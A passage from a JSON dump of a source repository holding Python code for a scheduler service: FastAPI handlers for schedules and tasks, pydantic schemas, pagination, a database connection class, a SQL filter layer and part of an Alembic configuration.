     path=\"/schedules/{schedule_id}\",\n            endpoint=self.delete,\n            methods=[\"DELETE\"],\n            status_code=204,\n            description=\"Delete a schedule\",\n        )\n\n        self.api.add_api_route(\n            path=\"/schedules/search\",\n            endpoint=self.search,\n            methods=[\"POST\"],\n            response_model=utils.PaginatedResponse,\n            status_code=200,\n            description=\"Search schedules\",\n        )\n\n    def list(\n        self,\n        request: fastapi.Request,\n        scheduler_id: str | None = None,\n        organisation: str | None = None,\n        schedule_hash: str | None = None,\n        enabled: bool | None = None,\n        offset: int = 0,\n        limit: int = 10,\n        min_deadline_at: datetime.datetime | None = None,\n        max_deadline_at: datetime.datetime | None = None,\n        min_created_at: datetime.datetime | None = None,\n        max_created_at: datetime.datetime | None = None,\n    ) -> utils.PaginatedResponse:\n        if (min_created_at is not None and max_created_at is not None) and min_created_at > max_created_at:\n            raise BadRequestError(\"min_created_at must be less than max_created_at\")\n\n        if (min_deadline_at is not None and max_deadline_at is not None) and min_deadline_at > max_deadline_at:\n            raise BadRequestError(\"min_deadline_at must be less than max_deadline_at\")\n\n        results, count = self.ctx.datastores.schedule_store.get_schedules(\n            scheduler_id=scheduler_id,\n            organisation=organisation,\n            schedule_hash=schedule_hash,\n            enabled=enabled,\n            min_deadline_at=min_deadline_at,\n            max_deadline_at=max_deadline_at,\n            min_created_at=min_created_at,\n            max_created_at=max_created_at,\n            offset=offset,\n            limit=limit,\n        )\n\n        return utils.paginate(request, results, count, offset, limit)\n\n    def create(self, schedule: schemas.ScheduleCreate) -> schemas.Schedule:\n        if not (schedule.deadline_at or schedule.schedule):\n            raise BadRequestError(\"Either deadline_at or schedule must be provided\")\n\n        try:\n            new_schedule = models.Schedule(**schedule.model_dump())\n        except ValueError as exc:\n            raise ValidationError(exc)\n\n        s = self.schedulers.get(new_schedule.scheduler_id)\n        if s is None:\n            raise BadRequestError(f\"Scheduler {new_schedule.scheduler_id} not found\")\n\n        # Validate `data` field with `TASK_TYPE` of the scheduler\n        try:\n            instance = s.ITEM_TYPE.model_validate(new_schedule.data)\n        except ValueError as exc:\n            raise BadRequestError(exc)\n\n        # Create hash for schedule with task type\n        new_schedule.hash = instance.hash\n\n        # Check if schedule with the same hash already exists\n        schedule = self.ctx.datastores.schedule_store.get_schedule_by_hash(new_schedule.hash)\n        if schedule is not None:\n            raise ConflictError(f\"schedule with the same hash already exists: {new_schedule.hash}\")\n\n        self.ctx.datastores.schedule_store.create_schedule(new_schedule)\n        return schemas.Schedule(**new_schedule.model_dump())\n\n    def get(self, schedule_id: uuid.UUID) -> schemas.Schedule:\n        schedule = self.ctx.datastores.schedule_store.get_schedule(schedule_id)\n        if schedule is None:\n            raise NotFoundError(f\"schedule not found, by schedule_id: {schedule_id}\")\n\n        return schemas.Schedule(**schedule.model_dump())\n\n    def patch(self, schedule_id: uuid.UUID, schedule: schemas.SchedulePatch) -> schemas.Schedule:\n        schedule_db = self.ctx.datastores.schedule_store.get_schedule(schedule_id)\n        if schedule_db is None:\n            raise NotFoundError(f\"schedule not found, by schedule_id: {schedule_id}\")\n\n        patch_data = schedule.model_dump(exclude_unset=True)\n        if len(patch_data) == 0:\n            raise BadRequestError(\"no data to patch\")\n\n        # Update schedule\n        updated_schedule = schedule_db.model_copy(update=patch_data)\n\n        # Validate schedule, model_copy() does not validate the model\n        try:\n            models.Schedule(**updated_schedule.model_dump())\n        except ValueError:\n            raise ValidationError(\"validation error\")\n\n        # Update schedule in database\n        self.ctx.datastores.schedule_store.update_schedule(updated_schedule)\n\n        return schemas.Schedule(**updated_schedule.model_dump())\n\n    def search(\n        self,\n        request: fastapi.Request,\n        offset: int = 0,\n        limit: int = 10,\n        filters: storage.filters.FilterRequest | None = Body(...),\n    ) -> utils.PaginatedResponse:\n        if filters is None:\n            raise fastapi.HTTPException(\n                status_code=fastapi.status.HTTP_400_BAD_REQUEST, detail=\"missing search filters\"\n            )\n\n        try:\n            results, count = self.ctx.datastores.schedule_store.get_schedules(\n                offset=offset, limit=limit, filters=filters\n            )\n        except storage.filters.errors.FilterError as exc:\n            raise fastapi.HTTPException(\n                status_code=fastapi.status.HTTP_400_BAD_REQUEST, detail=f\"invalid filter(s) [exception: {exc}]\"\n            ) from exc\n        except storage.errors.StorageError as exc:\n            raise fastapi.HTTPException(\n                status_code=fastapi.status.HTTP_500_INTERNAL_SERVER_ERROR,\n                detail=f\"error occurred while accessing the database [exception: {exc}]\",\n            ) from exc\n        except Exception as exc:\n            self.logger.exception(exc)\n            raise fastapi.HTTPException(\n                status_code=fastapi.status.HTTP_500_INTERNAL_SERVER_ERROR, detail=\"failed to search schedules\"\n            ) from exc\n\n        return utils.paginate(request, results, count, offset, limit)\n\n    def delete(self, schedule_id: uuid.UUID) -> None:\n        self.ctx.datastores.schedule_store.delete_schedule(schedule_id)\n        return None\n"
  },
  {
    "path": "mula/scheduler/server/handlers/tasks.py",
    "content": "import datetime\nimport uuid\n\nimport fastapi\nimport structlog\nfrom fastapi import status\n\nfrom scheduler import context, storage\nfrom scheduler.server import schemas, utils\nfrom scheduler.server.errors import BadRequestError, NotFoundError\n\n\nclass TaskAPI:\n    def __init__(self, api: fastapi.FastAPI, ctx: context.AppContext) -> None:\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.api = api\n        self.ctx = ctx\n\n        self.api.add_api_route(\n            path=\"/tasks\",\n            endpoint=self.list,\n            methods=[\"GET\", \"POST\"],\n            response_model=utils.PaginatedResponse,\n            status_code=status.HTTP_200_OK,\n            description=\"List all tasks\",\n        )\n\n        self.api.add_api_route(\n            path=\"/tasks/stats\",\n            endpoint=self.stats,\n            methods=[\"GET\"],\n            status_code=status.HTTP_200_OK,\n            description=\"Get task status counts for all schedulers in last 24 hours\",\n        )\n\n        self.api.add_api_route(\n            path=\"/tasks/{task_id}\",\n            endpoint=self.get,\n            methods=[\"GET\"],\n            response_model=schemas.Task,\n            status_code=status.HTTP_200_OK,\n            description=\"Get a task\",\n        )\n\n        self.api.add_api_route(\n            path=\"/tasks/{task_id}\",\n            endpoint=self.patch,\n            methods=[\"PATCH\"],\n            response_model=schemas.Task,\n            response_model_exclude_unset=True,\n            status_code=status.HTTP_200_OK,\n            description=\"Update a task\",\n        )\n\n    def list(\n        self,\n        request: fastapi.Request,\n        scheduler_id: str | None = None,\n        organisation: str | None = None,\n        task_type: str | None = None,\n        status: str | None = None,\n        offset: int = 0,\n        limit: int = 10,\n        min_created_at: datetime.datetime | None = None,\n        max_created_at: datetime.datetime | None = None,\n        filters: storage.filters.FilterRequest | None = None,\n    ) -> utils.PaginatedResponse:\n        if (min_created_at is not None and max_created_at is not None) and min_created_at > max_created_at:\n            raise BadRequestError(\"min_created_at must be less than max_created_at\")\n\n        results, count = self.ctx.datastores.task_store.get_tasks(\n            scheduler_id=scheduler_id,\n            organisation=organisation,\n            task_type=task_type,\n            status=status,\n            offset=offset,\n            limit=limit,\n            min_created_at=min_created_at,\n            max_created_at=max_created_at,\n            filters=filters,\n        )\n\n        return utils.paginate(request, results, count, offset, limit)\n\n    def get(self, task_id: uuid.UUID) -> schemas.Task:\n        task = self.ctx.datastores.task_store.get_task(task_id)\n        if task is None:\n            raise NotFoundError(f\"task not found, by task_id: {task_id}\")\n        return task\n\n    def patch(self, task_id: uuid.UUID, item: schemas.TaskPatch) -> schemas.Task:\n        task_db = self.ctx.datastores.task_store.get_task(task_id)\n\n        if task_db is None:\n            raise NotFoundError(f\"task not found, by task_id: {task_id}\")\n\n        patch_data = item.model_dump(exclude_unset=True)\n        if len(patch_data) == 0:\n            raise BadRequestError(\"no data to patch\")\n\n        # Update task\n        updated_task = task_db.model_copy(update=patch_data)\n        self.ctx.datastores.task_store.update_task(updated_task)\n\n        return updated_task\n\n    def stats(\n        self, scheduler_id: str | None = None, organisation_id: str | None = None\n    ) -> dict[str, dict[str, int]] | None:\n        return self.ctx.datastores.task_store.get_status_count_per_hour(scheduler_id, organisation_id)\n"
  },
  {
    "path": "mula/scheduler/server/schemas/__init__.py",
    "content": "from .health import ServiceHealth\nfrom .schedule import Schedule, ScheduleCreate, SchedulePatch\nfrom .scheduler import Scheduler\nfrom .task import Task, TaskPatch, TaskPop, TaskPush, TaskStatus\n"
  },
  {
    "path": "mula/scheduler/server/schemas/health.py",
    "content": "from typing import Any\n\nfrom pydantic import BaseModel, Field\n\n\nclass ServiceHealth(BaseModel):\n    \"\"\"ServiceHealth is used as response model for health check in the\n    server.Server for the health endpoint.\n    \"\"\"\n\n    service: str\n    healthy: bool = False\n    version: str | None = None\n    additional: Any = None\n    results: list[\"ServiceHealth\"] = Field(default_factory=list)\n    externals: dict[str, bool] = {}\n\n\nServiceHealth.model_rebuild()\n"
  },
  {
    "path": "mula/scheduler/server/schemas/schedule.py",
    "content": "import uuid\nfrom datetime import datetime\n\nfrom pydantic import BaseModel, ConfigDict, Field\n\n\nclass Schedule(BaseModel):\n    id: uuid.UUID\n    scheduler_id: str\n    organisation: str\n    hash: str | None\n    data: dict | None\n    enabled: bool\n    schedule: str | None\n\n    deadline_at: datetime | None\n    created_at: datetime | None\n    modified_at: datetime | None\n\n\nclass ScheduleCreate(BaseModel):\n    model_config = ConfigDict(extra=\"forbid\")\n\n    scheduler_id: str\n    organisation: str\n    data: dict\n    schedule: str | None = None\n    deadline_at: datetime | None = None\n\n\nclass SchedulePatch(BaseModel):\n    hash: str | None = Field(None, max_length=32)\n    data: dict | None = None\n    enabled: bool | None = None\n    schedule: str | None = None\n    deadline_at: datetime | None = None\n"
  },
  {
    "path": "mula/scheduler/server/schemas/scheduler.py",
    "content": "from datetime import datetime\n\nfrom pydantic import BaseModel\n\n\nclass Scheduler(BaseModel):\n    id: str\n    type: str\n    item_type: str\n    qsize: int = 0\n    last_activity: datetime | None = None\n"
  },
  {
    "path": "mula/scheduler/server/schemas/task.py",
    "content": "import enum\nimport uuid\nfrom datetime import datetime\n\nfrom pydantic import BaseModel, ConfigDict\n\n\nclass TaskStatus(str, enum.Enum):\n    # Task has been created but not yet queued\n    PENDING = \"pending\"\n\n    # Task has been pushed onto queue and is ready to be picked up\n    QUEUED = \"queued\"\n\n    # Task has been picked up by a worker\n    DISPATCHED = \"dispatched\"\n\n    # Task has been picked up by a worker, and the worker indicates that it is\n    # running.\n    RUNNING = \"running\"\n\n    # Task has been completed\n    COMPLETED = \"completed\"\n\n    # Task has failed\n    FAILED = \"failed\"\n\n    # Task has been cancelled\n    CANCELLED = \"cancelled\"\n\n\nclass Task(BaseModel):\n    id: uuid.UUID | None = None\n    scheduler_id: str | None = None\n    schedule_id: uuid.UUID | None = None\n    organisation: str | None = None\n    priority: int | None = None\n    status: TaskStatus | None = None\n    type: str | None = None\n    hash: str | None = None\n    data: dict | None = None\n    created_at: datetime | None = None\n    modified_at: datetime | None = None\n\n\nclass TaskPatch(BaseModel):\n    id: uuid.UUID | None = None\n    scheduler_id: str | None = None\n    schedule_id: uuid.UUID | None = None\n    organisation: str | None = None\n    priority: int | None = None\n    status: TaskStatus | None = None\n    type: str | None = None\n    hash: str | None = None\n    data: dict | None = None\n    created_at: datetime | None = None\n    modified_at: datetime | None = None\n\n\nclass TaskPush(BaseModel):\n    model_config = ConfigDict(extra=\"forbid\")\n\n    id: uuid.UUID | None = None\n    scheduler_id: str | None = None\n    organisation: str\n    priority: int | None = None\n    data: dict\n\n\nclass TaskPop(BaseModel):\n    results: list[Task]\n"
  },
  {
    "path": "mula/scheduler/server/server.py",
    "content": "import fastapi\nimport pydantic\nimport structlog\nimport uvicorn\n\nfrom scheduler import context, schedulers\n\nfrom . import errors, handlers\n\n\nclass Server:\n    \"\"\"Server that exposes API endpoints for the scheduler.\n\n    Attributes:\n        logger: A structlog.BoundLogger object used for logging.\n        ctx: A context.AppContext object used for sharing data between modules.\n        schedulers: A dict containing all the schedulers.\n        config: A settings.Settings object containing the configuration settings.\n        api: A fastapi.FastAPI object used for exposing API endpoints.\n    \"\"\"\n\n    def __init__(self, ctx: context.AppContext, s: dict[str, schedulers.Scheduler]) -> None:\n        \"\"\"Initializer of the Server class.\n\n        Args:\n            ctx: A context.AppContext object used for sharing data between modules.\n            s: A dict containing all the schedulers.\n        \"\"\"\n\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n        self.ctx: context.AppContext = ctx\n        self.schedulers: dict[str, schedulers.Scheduler] = s\n        self.api: fastapi.FastAPI = fastapi.FastAPI(title=\"Scheduler\", description=\"Scheduler API\")\n\n        # Set up exception handlers\n        self.api.add_exception_handler(errors.FilterError, errors.filter_error_handler)\n        self.api.add_exception_handler(errors.StorageError, errors.storage_error_handler)\n        self.api.add_exception_handler(pydantic.ValidationError, errors.validation_error_handler)\n        self.api.add_exception_handler(errors.ValidationError, errors.validation_error_handler)\n        self.api.add_exception_handler(errors.NotFoundError, errors.not_found_error_handler)\n        self.api.add_exception_handler(errors.ConflictError, errors.conflict_error_handler)\n        self.api.add_exception_handler(errors.BadRequestError, errors.bad_request_error_handler)\n        self.api.add_exception_handler(errors.TooManyRequestsError, errors.too_many_requests_error_handler)\n        self.api.add_exception_handler(fastapi.HTTPException, errors.http_error_handler)\n\n        # Set up API endpoints\n        handlers.SchedulerAPI(self.api, self.ctx, s)\n        handlers.ScheduleAPI(self.api, self.ctx, s)\n        handlers.TaskAPI(self.api, self.ctx)\n        handlers.MetricsAPI(self.api, self.ctx)\n        handlers.HealthAPI(self.api, self.ctx)\n        handlers.RootAPI(self.api, self.ctx)\n\n    def run(self) -> None:\n        uvicorn.run(self.api, host=str(self.ctx.config.api_host), port=self.ctx.config.api_port, log_config=None)\n"
  },
  {
    "path": "mula/scheduler/server/utils/__init__.py",
    "content": "from .pagination import PaginatedResponse, paginate\n"
  },
  {
    "path": "mula/scheduler/server/utils/pagination.py",
    "content": "from typing import Any\n\nfrom fastapi import Request\nfrom pydantic import BaseModel\n\n\nclass PaginatedResponse(BaseModel):\n    count: int\n    next: str | None\n    previous: str | None\n    results: list[Any]\n\n\ndef create_next_url(request: Request, offset: int, limit: int, count: int) -> str | None:\n    if offset + limit <= count:\n        return str(request.url.include_query_params(limit=limit, offset=offset + limit))\n\n    return None\n\n\ndef create_previous_url(request: Request, offset: int, limit: int) -> str | None:\n    if offset - limit >= 0:\n        return str(request.url.include_query_params(limit=limit, offset=offset - limit))\n\n    return None\n\n\ndef paginate(request: Request, items: list[Any], count: int, offset: int, limit: int) -> PaginatedResponse:\n    return PaginatedResponse(\n        count=count,\n        next=create_next_url(request, offset, limit, count),\n        previous=create_previous_url(request, offset, limit),\n        results=items,\n    )\n"
  },
  {
    "path": "mula/scheduler/storage/__init__.py",
    "content": "from .connection import DBConn\nfrom .filters import apply_filter\nfrom .utils import retry\n"
  },
  {
    "path": "mula/scheduler/storage/connection.py",
    "content": "import json\nfrom functools import partial\n\nimport sqlalchemy\nimport structlog\n\nfrom scheduler.config import settings\nfrom scheduler.storage.errors import StorageError\n\n\nclass DBConn:\n    def __init__(self, dsn: str, pool_size: int = 25):\n        self.logger: structlog.BoundLogger = structlog.getLogger(__name__)\n\n        self.dsn = dsn\n        self.pool_size = pool_size\n\n    def connect(self) -> None:\n        db_uri_redacted = sqlalchemy.engine.make_url(name_or_url=self.dsn).render_as_string(hide_password=True)\n\n        pool_size = settings.Settings().db_connection_pool_size\n\n        self.logger.debug(\n            \"Connecting to database %s with pool size %s...\",\n            self.dsn,\n            pool_size,\n            dsn=db_uri_redacted,\n            pool_size=pool_size,\n        )\n\n        try:\n            serializer = partial(json.dumps, default=str)\n            self.engine = sqlalchemy.create_engine(\n                self.dsn,\n                pool_pre_ping=True,\n                pool_size=pool_size,\n                pool_recycle=300,\n                json_serializer=serializer,\n                connect_args={\"options\": \"-c timezone=utc\"},\n            )\n        except sqlalchemy.exc.SQLAlchemyError as e:\n            self.logger.error(\"Failed to connect to database %s: %s\", self.dsn, e, dsn=db_uri_redacted)\n            raise StorageError(\"Failed to connect to database.\")\n\n        self.logger.debug(\"Connected to database %s.\", db_uri_redacted, dsn=db_uri_redacted)\n\n        try:\n            self.session = sqlalchemy.orm.sessionmaker(bind=self.engine)\n        except sqlalchemy.exc.SQLAlchemyError as e:\n            self.logger.error(\"Failed to create session: %s\", e)\n            raise StorageError(\"Failed to create session.\")\n"
  },
  {
    "path": "mula/scheduler/storage/errors.py",
    "content": "import functools\n\nimport sqlalchemy\n\n\nclass StorageError(Exception):\n    pass\n\n\nclass IntegrityError(Exception):\n    pass\n\n\ndef exception_handler(func):\n    @functools.wraps(func)\n    def inner_function(*args, **kwargs):\n        try:\n            return func(*args, **kwargs)\n        except sqlalchemy.exc.DataError as exc:\n            raise StorageError(f\"Invalid data: {exc}\") from exc\n        except sqlalchemy.exc.IntegrityError as exc:\n            raise IntegrityError(f\"Integrity error: {exc}\") from exc\n        except Exception as exc:\n            raise StorageError(f\"An error occurred: {exc}\") from exc\n\n    return inner_function\n"
  },
  {
    "path": "mula/scheduler/storage/filters/__init__.py",
    "content": "from .casting import cast_expression\nfrom .filters import Filter, FilterRequest\nfrom .functions import apply_filter\n\n__all__ = [\"cast_expression\", \"Filter\", \"FilterRequest\", \"apply_filter\"]\n"
  },
  {
    "path": "mula/scheduler/storage/filters/casting.py",
    "content": "import json\n\nfrom sqlalchemy import Boolean, Numeric\nfrom sqlalchemy.sql.elements import BinaryExpression\n\nfrom .errors import MismatchedTypeError, UnsupportedTypeError\nfrom .filters import Filter\n\n\ndef cast_expression(expression: BinaryExpression, filter_: Filter) -> BinaryExpression:\n    \"\"\"Cast the JSON value to the correct type based on the filter value type.\n\n    Args:\n        expression: The SQLAlchemy BinaryExpression to cast.\n        filter: The filter containing the value to determine its type.\n\n    Returns:\n        A BinaryExpression with the appropriate cast applied.\n    \"\"\"\n    # Handle lists\n    if isinstance(filter_.value, list):\n        if len(filter_.value) == 0:\n            raise UnsupportedTypeError(\"Empty list not supported\")\n\n        # Ensure all list values have the same type\n        for v in filter_.value:\n            if not isinstance(v, filter_.value[0].__class__):\n                raise MismatchedTypeError(\"List values must be of the same type\")\n\n        element_type = type(filter_.value[0])\n        if element_type is str:\n            expression = expression.astext\n        elif element_type in [int, float]:\n            expression = expression.cast(Numeric)\n        elif element_type in [bool, None]:\n            expression = expression.cast(Boolean)\n        else:\n            raise UnsupportedTypeError(f\"Unsupported type {element_type}\")\n\n    # Handle strings\n    elif isinstance(filter_.value, str):\n        # Check if the value is a JSON object or just a string. We need to check\n        # if the value can be decoded.\n        try:\n            decoded_value = json.loads(filter_.value)\n            # If the string is a JSON object, return the expression as is.\n            # We don't need to cast it.\n            if isinstance(decoded_value, dict | list):\n                return expression\n            expression = expression.astext\n        except json.JSONDecodeError:\n            # If it can't be decoded, assume it's a string and cast it to text.\n            expression = expression.astext\n\n    # Handle other numeric types\n    elif isinstance(filter_.value, int | float):\n        expression = expression.cast(Numeric)\n\n    # Handle booleans\n    elif isinstance(filter_.value, bool):\n        expression = expression.cast(Boolean)\n\n    # Handle other unsupported types\n    else:\n        raise UnsupportedTypeError(f\"Unsupported type {type(filter_.value)}\")\n\n    return expression\n"
  },
  {
    "path": "mula/scheduler/storage/filters/comparison.py",
    "content": "import datetime\n\nfrom sqlalchemy.sql.elements import BinaryExpression\n\n\nclass Comparator:\n    # Comparison operators and their corresponding functions\n    OPERATORS = {\n        \"==\": lambda x, y: x == y,\n        \"eq\": lambda x, y: x == y,\n        \"!=\": lambda x, y: x != y,\n        \"ne\": lambda x, y: x != y,\n        \"is\": lambda x, y: x.is_(y),\n        \"is_not\": lambda x, y: x.isnot(y),\n        \"is_null\": lambda x: x.is_(None),\n        \"is_not_null\": lambda x: x.isnot(None),\n        \">\": lambda x, y: x > y,\n        \"gt\": lambda x, y: x > y,\n        \"<\": lambda x, y: x < y,\n        \"lt\": lambda x, y: x < y,\n        \">=\": lambda x, y: x >= y,\n        \"gte\": lambda x, y: x >= y,\n        \"<=\": lambda x, y: x <= y,\n        \"lte\": lambda x, y: x <= y,\n        \"like\": lambda x, y: x.like(y),\n        \"not_like\": lambda x, y: x.not_like(y),\n        \"ilike\": lambda x, y: x.ilike(y),\n        \"not_ilike\": lambda x, y: x.notilike(y),\n        \"in\": lambda x, y: x.in_(y),\n        \"not_in\": lambda x, y: x.not_in(y),\n        \"contains\": lambda x, y: x.contains(y),\n        \"match\": lambda x, y: x.match(y),\n        \"starts_with\": lambda x, y: x.startswith(y),\n        # Contains; returns true if the left hand side value contains all the\n        # elements of the right hand side\n        \"@>\": lambda x, y: x.op(\"@>\")(y),\n        # Contained by; returns true if the right hand side value contains all\n        # the elements of the left hand side\n        \"<@\": lambda x, y: x.op(\"<@\")(y),\n        # Contains key; returns true if the JSON object contains the specified\n        # key\n        \"@?\": lambda x, y: x.op(\"@?\")(y),\n        # Matches query; used by full text search in combination with tsquery\n        # and tsvector data types\n        \"@@\": lambda x, y: x.op(\"@@\")(y),\n    }\n\n    def __init__(self, operator: str):\n        \"\"\"Initialise the Comparator class.\n\n        Args:\n            operator: The operator to use when comparing two values.\n        \"\"\"\n        if operator not in self.OPERATORS:\n            raise ValueError(f\"Operator {operator} not supported\")\n\n        self.operator = operator\n        self.operator_func = self.OPERATORS.get(operator, lambda x, y: x == y)\n\n    def compare(\n        self,\n        x: BinaryExpression,\n        y: (\n            str\n            | int\n            | float\n            | bool\n            | datetime.datetime\n            | None\n            | list[str]\n            | list[int]\n            | list[float]\n            | list[bool]\n            | list[datetime.datetime]\n            | list[None]\n        ),\n    ) -> BinaryExpression:\n        \"\"\"Compare two values using the operator specified in the constructor.\n\n        Args:\n            x: The left hand side value, e.g. the SQLAlchemy BinaryExpression.\n            y: The right hand side value, e.g. the value to compare against.\n\n        Returns:\n            A SQLAlchemy BinaryExpression with the operator applied.\n        \"\"\"\n        return self.operator_func(x, y)  # type: ignore\n"
  },
  {
    "path": "mula/scheduler/storage/filters/errors.py",
    "content": "class FilterError(Exception):\n    pass\n\n\nclass UnsupportedTypeError(FilterError):\n    pass\n\n\nclass MismatchedTypeError(FilterError):\n    pass\n\n\nclass ArgumentError(FilterError):\n    pass\n"
  },
  {
    "path": "mula/scheduler/storage/filters/filters.py",
    "content": "import datetime\nfrom typing import Literal\n\nfrom pydantic import BaseModel\n\n\nclass Filter(BaseModel):\n    \"\"\"Represents a filter condition.\n\n    Attributes:\n        column: The name of the column to filter on.\n        field: An optional field name for nested filtering.\n        operator: The comparison operator for the filter.\n        value: The value to compare against.\n    \"\"\"\n\n    column: str\n    field: str | None = None\n    operator: Literal[\n        \"==\",\n        \"eq\",\n        \"!=\",\n        \"ne\",\n        \"is\",\n        \"is_not\",\n        \"is_null\",\n        \"is_not_null\",\n        \">\",\n        \"gt\",\n        \"<\",\n        \"lt\",\n        \">=\",\n        \"gte\",\n        \"<=\",\n        \"lte\",\n        \"like\",\n        \"not_like\",\n        \"ilike\",\n        \"not_ilike\",\n        \"in\",\n        \"not_in\",\n        \"contains\",\n        \"any\",\n        \"match\",\n        \"starts_with\",\n        \"@>\",\n        \"<@\",\n        \"@?\",\n        \"@@\",\n    ]\n    value: (\n        str\n        | int\n        | float\n        | bool\n        | datetime.datetime\n        | None\n        | list[str]\n        | list[int]\n        | list[float]\n        | list[bool]\n        | list[datetime.datetime]\n        | list[None]\n    )\n\n\nclass FilterRequest(BaseModel):\n    \"\"\"Represents a filter request.\n\n    Args:\n        filters: The filter criteria, which can be a list of Filter objects or\n        a dictionary of lists.\n    \"\"\"\n\n    filters: list[\"Filter\"] | dict[str, list[\"Filter\"]]\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        if isinstance(self.filters, list):\n            self.filters = {\"and\": self.filters}\n"
  },
  {
    "path": "mula/scheduler/storage/filters/functions.py",
    "content": "import sqlalchemy\nfrom sqlalchemy.orm import DeclarativeBase, RelationshipProperty\nfrom sqlalchemy.orm.query import Query\nfrom sqlalchemy.sql.elements import BinaryExpression\n\nfrom .casting import cast_expression\nfrom .comparison import Comparator\nfrom .errors import FilterError, MismatchedTypeError, UnsupportedTypeError\nfrom .filters import FilterRequest\nfrom .operators import FILTER_OPERATORS\n\n\ndef apply_filter(entity: DeclarativeBase, query: Query, filter_request: FilterRequest) -> Query:\n    \"\"\"Apply the filter criteria to a SQLAlchemy query.\n\n    This function takes a SQLAlchemy entity (model), an existing query, and a\n    FilterRequest object containing filter criteria, then applies those filters\n    to create a refined query.\n\n    The function supports:\n      - Multiple filter operations combined with logical operators (AND, OR, etc.)\n      - Filtering on model attributes and relationships\n      - Nested field filtering using the \"__\" notation (e.g., \"address__city\")\n      - JSON field filtering\n\n    Filter operations are applied based on the operators defined in the\n    FILTER_OPERATORS dictionary.\n\n    Args:\n        entity: The SQLAlchemy entity (model class) to apply the filter to.\n        query: The existing SQLAlchemy query to refine with filters.\n        filter_request: The FilterRequest object containing the filter criteria structure.\n\n    Returns:\n        A filtered SQLAlchemy query with all requested conditions applied.\n\n    Raises:\n        FilterError: When the filter specification is invalid (wrong type, field not found, etc.)\n    \"\"\"\n    # Ensure the filters attribute is a dictionary mapping operators to filter lists\n    if not isinstance(filter_request.filters, dict):\n        raise FilterError(\"Filter request must be a dict\")\n\n    # Iterate through each operator in the filter request (AND, OR, etc.)\n    for operator in filter_request.filters:\n        # Create a list to hold all expressions for this operator\n        expressions = []\n\n        # Process each filter condition for the current operator\n        for filter_ in filter_request.filters[operator]:\n            column = filter_.column\n\n            # Verify the column exists on the entity\n            if not hasattr(entity, column):\n                raise FilterError(f\"Invalid filter field: {column} (error: not found)\")\n\n            # If the filter field is not specified we will use the column name\n            # as the filter_field\n            filter_field = filter_.field if filter_.field else column\n\n            #  Get the attribute object from the entity, e.g. MyModel.selected_attr\n            entity_attr = getattr(entity, column)\n\n            # Handle relationships - if the column is a relationship, we need to join\n            # the related entity to the query\n            if is_relationship_property(entity_attr):\n                related_entity = entity_attr.property.mapper.class_\n                query = query.join(related_entity)\n\n            # Handle nested fields using the \"__\" notation (e.g., \"address__city\")\n            # This allows drilling down into relationships or JSON fields\n            if len(filter_field.split(\"__\")) > 1:\n                for nested_field in filter_field.split(\"__\"):\n                    if is_relationship_property(entity_attr):\n                        # For relationships, get the attribute from the related class\n                        entity_attr = getattr(entity_attr.property.mapper.class_, nested_field)\n                    else:\n                        # For JSON fields, use indexing to access nested keys\n                        entity_attr = entity_attr[nested_field]\n            else:\n                # Handle non-nested fields\n                if is_relationship_property(entity_attr):\n                    # For relationships, get the attribute from the related class\n                    entity_attr = getattr(entity_attr.property.mapper.class_, filter_field)\n                elif filter_field != column:\n                    # For JSON fields, use indexing to access the specified key\n                    entity_attr = entity_attr[filter_field]\n\n            # For BinaryExpressions (typically JSON fields), cast to the\n            # appropriate type based on the filter value's type\n            if isinstance(entity_attr, BinaryExpression):\n                try:\n                    entity_attr = cast_expression(entity_attr, filter_)\n                except (UnsupportedTypeError, MismatchedTypeError) as exc:\n                    raise FilterError(f\"Invalid filter value: {filter_.value} (error: {exc})\")\n\n            # Apply the comparison operator (==, >, <, etc.) to create the\n            # filter expression\n            try:\n                expression = Comparator(filter_.operator).compare(entity_attr, filter_.value)\n            except sqlalchemy.exc.ArgumentError as exc:\n                raise FilterError(f\"Invalid filter value: {filter_.value} (sql error: {exc})\")\n\n            # Add the expression to our list for this operator group\n            expressions.append(expression)\n\n        # Apply all expressions for this operator (AND, OR, etc.) to the query\n        # The FILTER_OPERATORS dict maps string operator names to SQLAlchemy functions\n        query = query.filter(FILTER_OPERATORS[operator](*expressions))\n\n    return query\n\n\ndef is_relationship_property(attr) -> bool:\n    \"\"\"Check if an attribute is a relationship property.\n\n    Determines whether the given SQLAlchemy attribute represents a relationship\n    to another model rather than a simple column.\n\n    Args:\n        attr: The SQLAlchemy attribute to check.\n\n    Returns:\n        bool: True if the attribute is a relationship property, False otherwise.\n    \"\"\"\n    return hasattr(attr, \"property\") and isinstance(attr.property, RelationshipProperty)\n"
  },
  {
    "path": "mula/scheduler/storage/filters/operators.py",
    "content": "from sqlalchemy import and_, not_, or_\n\nFILTER_OPERATORS = {\"and\": and_, \"or\": or_, \"not\": not_}\n"
  },
  {
    "path": "mula/scheduler/storage/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "mula/scheduler/storage/migrations/alembic.ini",
    "content": "# A generic, single database configuration.\n\n[alembic]\n# path to migration scripts\nscript_location = scheduler/storage/migrations\n\n# template used to generate migration files\nfile_template = %%(rev)s_%%(slug)s\n\n# sys.path path, will be prepended to sys.path if present.\n# defaults to the current working directory.\n# (new in 1.5.5)\nprepend_sys_path = .\n\n# timezone to use when rendering the date within the migration file\n# as well as the filename.\n# If specified, requires the python-dateutil library that can be\n# installed by adding `alembic[tz]` to the pip requirements\n# string value is passed to dateutil.tz.gettz()\n# leave blank for localtime\n# timezone =\n\n# max length of characters to apply to the\n# \"slug\" field\n# truncate_slug_length = 40\n\n# set to 'true' to run the environment during\n# the 'revision' command, regardless of autogenerate\n# revision_environment = false\n\n# set to 'true' to allow .pyc and .pyo files without\n# a source .py file to be detected as revisions in the\n# versions/ directory\n# sourceless = false\n\n# version location specification; This defaults\n# to ${script_location}/versions.  When using multiple version\n# directories, initial revisions must be specified with --version-path.\n# The path separator used here should be the separator specified by \"version_path_separator\" below.\n# version_locations = %(here)s/bar:%(here)s/bat:${script_location}/versions\n\n# version path separator; As mentioned above, this is the character used to split\n# version_locations. The default within new alembic.ini files is \"os\", which uses os.pathsep.\n# If this key is omitted entirely, it falls back to the legacy behavior of splitting on spaces and/or commas.\n# Valid values for version_path_separator are:\n#\n# version_path_separator = :\n# version_path_separator = ;\n# version_path_separator = space\nversion_path_separator = os  # Use os.pathsep. Default configuration used for new projects.\n\n# the output encoding used when revision files\n# are written from script.py.mako\n# output_encoding = utf-8\n\nsqlalchemy.url = 